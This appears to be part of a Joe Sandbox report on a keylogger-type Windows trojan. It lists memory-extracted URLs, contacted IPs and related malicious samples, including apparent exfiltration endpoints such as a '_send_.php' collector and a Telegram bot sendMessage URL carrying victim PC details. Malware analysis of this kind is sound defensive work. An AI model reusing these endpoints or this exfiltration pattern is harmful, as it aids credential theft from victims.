https://www.ecosia.org/newtab/	173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003AA3000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003AD6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://varders.kozow.com:8081	173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000003.1649899413.00000000006CB000.00000004.00000020.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4104801390.000000000229F000.00000004.00000020.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.0000000002771000.00000004.00000800.00020000.00000000.sdmp	false		high
http://aborters.duckdns.org:8081	173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000003.1649899413.00000000006CB000.00000004.00000020.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4104801390.000000000229F000.00000004.00000020.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.0000000002771000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003AA3000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003AD6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://51.38.247.67:8081/_send_.php?L	173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.000000000290C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anotherarmy.dns.army:8081	173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000003.1649899413.00000000006CB000.00000004.00000020.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4104801390.000000000229F000.00000004.00000020.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.0000000002771000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.000000000394B000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.00000000038D6000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003777000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003A2C000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003901000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003B2D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003AA3000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003AD6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org/q	173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000003.1649899413.00000000006CB000.00000004.00000020.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4104801390.000000000229F000.00000004.00000020.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp	false		high
https://chrome.google.com/webstore?hl=enlB	173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.0000000002949000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org	173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.0000000002830000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.0000000002857000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.00000000027C1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://sws.swpushroller.eu/swsk/api.php	173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000003.1649899413.00000000006CB000.00000004.00000020.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4104801390.000000000229F000.00000004.00000020.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.0000000002771000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:364339%0D%0ADate%20a	173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.0000000002857000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.000000000394B000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.00000000038D6000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003777000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003A2C000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003901000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003B2D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.0000000002771000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003AA3000.00000004.00000800.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4106386307.0000000003AD6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000003.1649899413.00000000006CB000.00000004.00000020.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4104801390.000000000229F000.00000004.00000020.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/	173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000003.1649899413.00000000006CB000.00000004.00000020.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4104801390.000000000229F000.00000004.00000020.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.00000000027C1000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
188.114.97.3	reallyfreegeoip.org	European Union	13335	CLOUDFLARENETUS	false
193.122.6.168	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
141.98.10.88	sws.swpushroller.eu	Lithuania	209605	HOSTBALTICLT	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1553323
Start date and time:	2024-11-10 21:43:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe
Detection:	MAL
Classification:	mal100.troj.spyw.winEXE@1/0@4/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 179 Number of non-executed functions: 115
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Simulations

Behavior and APIs

Time	Type	Description
15:43:57	API Interceptor	12139996x Sleep call for process: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	17312555432bcbd00414ec1c141b698268dc6112a629b7da7379b907daaee7a87ea4e066bb444.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	windows update.exe	Get hash	malicious	Unknown	Browse
	w32e.exe	Get hash	malicious	Unknown	Browse
	main.exe	Get hash	malicious	DCRat, Discord Token Stealer, Millenuim RAT, PureLog Stealer, zgRAT	Browse
	WDSecureUtilities(1).exe	Get hash	malicious	Phemedrone Stealer	Browse
	ALI HASSO - P02515 & P02518.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Curriculum Vitae Estrella Torres.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Inquiry HA-22-28199 22-077.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	fatura.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	MJ5bO7kS7j.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
188.114.97.3	ConfirmaciXnXdeXfacturaXPedidoXadicional.doc	Get hash	malicious	Unknown	Browse	paste.ee/d/qImtr
	QUOTATION_NOVQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	filetransfer.io/data-package/oV9U9W0U/download
	QUOTATION_NOVQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/21zJLAjt/download
	SDBARVe3d3.exe	Get hash	malicious	FormBook	Browse	www.dodsrprolev.shop/42jb/
	Hesap.exe	Get hash	malicious	FormBook	Browse	www.rtprajalojago.live/74ri/
	file.exe	Get hash	malicious	LummaC, Amadey, HTMLPhisher, LummaC Stealer, Stealc, Vidar	Browse	sosipisos.cc/SXQNMYTM.exe
	7RAK4mZ6nc.exe	Get hash	malicious	Metasploit	Browse	downsexv.com:8080/pptFudI4N_bZd9h2vlE2HgX6nJupnvnNvPpodtqLmxX2OC5MJtjR8Cw2hx7Jj0FM_ofkLnmJ
	Shipping documents..exe	Get hash	malicious	FormBook	Browse	www.bzxs.info/v58i/
	icRicpJWczmiOf8.exe	Get hash	malicious	FormBook	Browse	www.figa1digital.services/zjtq/
	xBA TM06-Q6-11-24.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	paste.ee/d/Sv5Cw
193.122.6.168	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	kChWJJNUHz.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	SecuriteInfo.com.BackDoor.AgentTeslaNET.37.10515.30521.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Documento de env#U00edo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Ordine R04-T4077 TBA-2024.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	RFQ 4748.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Jeyt1T7XTm.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	ZF3dxapdNLa4lNL.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	PO#7372732993039398372372973928392832973PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	ALI HASSO - P02515 & P02518.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	17312555432bcbd00414ec1c141b698268dc6112a629b7da7379b907daaee7a87ea4e066bb444.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	ALI HASSO - P02515 & P02518.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	Curriculum Vitae Estrella Torres.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Inquiry HA-22-28199 22-077.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	zam.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	fatura.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	MJ5bO7kS7j.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	7DqFctwwsk.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	kChWJJNUHz.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
checkip.dyndns.com	17312555432bcbd00414ec1c141b698268dc6112a629b7da7379b907daaee7a87ea4e066bb444.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	ALI HASSO - P02515 & P02518.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.130.0
	Curriculum Vitae Estrella Torres.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	Inquiry HA-22-28199 22-077.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	SecuriteInfo.com.Win32.CrypterX-gen.14627.27546.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	zam.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	fatura.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	MJ5bO7kS7j.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	7DqFctwwsk.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
api.telegram.org	17312555432bcbd00414ec1c141b698268dc6112a629b7da7379b907daaee7a87ea4e066bb444.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	windows update.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	w32e.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	main.exe	Get hash	malicious	DCRat, Discord Token Stealer, Millenuim RAT, PureLog Stealer, zgRAT	Browse	149.154.167.220
	WDSecureUtilities(1).exe	Get hash	malicious	Phemedrone Stealer	Browse	149.154.167.220
	ALI HASSO - P02515 & P02518.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Curriculum Vitae Estrella Torres.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Inquiry HA-22-28199 22-077.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	fatura.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	MJ5bO7kS7j.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
sws.swpushroller.eu	1730880308a25cd41259538643a6a02b355f33de1f56cb7e6d874f22aad09eac2596439da1840.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	107.173.160.168

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ORACLE-BMC-31898US	ALI HASSO - P02515 & P02518.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.130.0
	Curriculum Vitae Estrella Torres.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	ppc.elf	Get hash	malicious	Mirai, Moobot	Browse	144.25.108.205
	SecuriteInfo.com.Win32.CrypterX-gen.14627.27546.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	zam.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	kChWJJNUHz.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.6.168
	SecuriteInfo.com.BackDoor.AgentTeslaNET.37.10515.30521.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	Pedido de Cota#U00e7#U00e3o-241107.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	Documento de env#U00edo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
TELEGRAMRU	17312555432bcbd00414ec1c141b698268dc6112a629b7da7379b907daaee7a87ea4e066bb444.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	windows update.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	w32e.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	AcroCEF.exe	Get hash	malicious	Stealc, Vidar	Browse	149.154.167.99
	main.exe	Get hash	malicious	DCRat, Discord Token Stealer, Millenuim RAT, PureLog Stealer, zgRAT	Browse	149.154.167.220
	WDSecureUtilities(1).exe	Get hash	malicious	Phemedrone Stealer	Browse	149.154.167.220
	ALI HASSO - P02515 & P02518.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Curriculum Vitae Estrella Torres.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Inquiry HA-22-28199 22-077.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	QkBj8CevLU.exe	Get hash	malicious	Stealc, Vidar	Browse	149.154.167.99
CLOUDFLARENETUS	A322mb7u3h.exe	Get hash	malicious	Unknown	Browse	104.21.94.97
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	sora.mips.elf	Get hash	malicious	Mirai	Browse	1.12.12.101
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	sora.sh4.elf	Get hash	malicious	Mirai	Browse	1.13.111.37
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	188.114.96.3
	Creal.exe	Get hash	malicious	Creal Stealer	Browse	104.26.13.205
HOSTBALTICLT	ConfirmaciXnXdeXfacturaXPedidoXadicional.doc	Get hash	malicious	Unknown	Browse	141.98.10.88
	DOC11042024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	141.98.10.40
	Contract #U2116 KB #U2013 08152024 - 1.pif.exe	Get hash	malicious	RedLine	Browse	141.98.10.33
	PRODUCT OVERVIEW.doc	Get hash	malicious	Unknown	Browse	141.98.10.11
	tppc.elf	Get hash	malicious	Unknown	Browse	141.98.10.95
	sarm6.elf	Get hash	malicious	Mirai	Browse	141.98.10.95
	TRIAL IMG_00O0125RDER.exe	Get hash	malicious	FormBook, GuLoader	Browse	141.98.10.120
	1316wjL1Ep.elf	Get hash	malicious	Unknown	Browse	141.98.10.95
	17213054441f2891f24374c97759e4ac14183d6cfaeabe4240dc8794e61fa899b9e40b62fb429.dat-decoded.exe	Get hash	malicious	Remcos	Browse	141.98.10.11
	Demand G2-2024.xlsx	Get hash	malicious	FormBook	Browse	141.98.10.47

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	17312555432bcbd00414ec1c141b698268dc6112a629b7da7379b907daaee7a87ea4e066bb444.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	ALI HASSO - P02515 & P02518.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	Curriculum Vitae Estrella Torres.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	Inquiry HA-22-28199 22-077.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	ERxqzVIPur.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	ERxqzVIPur.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	zam.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	fatura.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	MJ5bO7kS7j.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
3b5074b1b5d032e5620f69f9f700ff0e	17312555432bcbd00414ec1c141b698268dc6112a629b7da7379b907daaee7a87ea4e066bb444.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	file.exe	Get hash	malicious	FormBook	Browse	149.154.167.220
	file.exe	Get hash	malicious	FormBook	Browse	149.154.167.220
	Setup.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	149.154.167.220
	main.exe	Get hash	malicious	DCRat, Discord Token Stealer, Millenuim RAT, PureLog Stealer, zgRAT	Browse	149.154.167.220
	A3W2CpXxiO.exe	Get hash	malicious	Stealc, Vidar	Browse	149.154.167.220
	WDSecureUtilities(1).exe	Get hash	malicious	Phemedrone Stealer	Browse	149.154.167.220
	Exploit Detector LIST (2).bat	Get hash	malicious	Unknown	Browse	149.154.167.220
	1.cmd	Get hash	malicious	Unknown	Browse	149.154.167.220
	Exploit Detector.bat	Get hash	malicious	Unknown	Browse	149.154.167.220

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.303287019079011
